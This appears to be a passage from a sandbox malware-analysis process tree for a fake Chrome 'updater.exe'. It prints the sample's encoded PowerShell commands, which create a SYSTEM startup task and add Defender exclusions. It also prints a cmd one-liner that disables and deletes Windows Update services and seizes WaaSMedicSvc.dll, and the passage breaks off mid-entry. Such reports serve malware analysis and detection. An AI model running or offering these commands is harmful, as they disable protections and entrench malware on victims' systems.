        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:6088
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4952
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:400
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:4260
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:1460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:5028
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:3996
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:5632
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:6644
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4964
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        
        PID:5228
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1976
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:6412
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:1620
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:6232
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:2392
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:6316
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2456
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5480
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2588
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4424
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:3736
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4752
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:5716
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:2272
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3608
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3652
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4644
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:1964
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:6504
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1112
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4068
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4984
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4144
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:6052
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:5888
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:3976
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4556
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:5372
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:6640
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5828
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3704
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4348
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:5060
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:2556
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:4892
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:7140
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:5340
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6396
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1608
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1972
    - - C:\Windows\System32\reg.exe
        
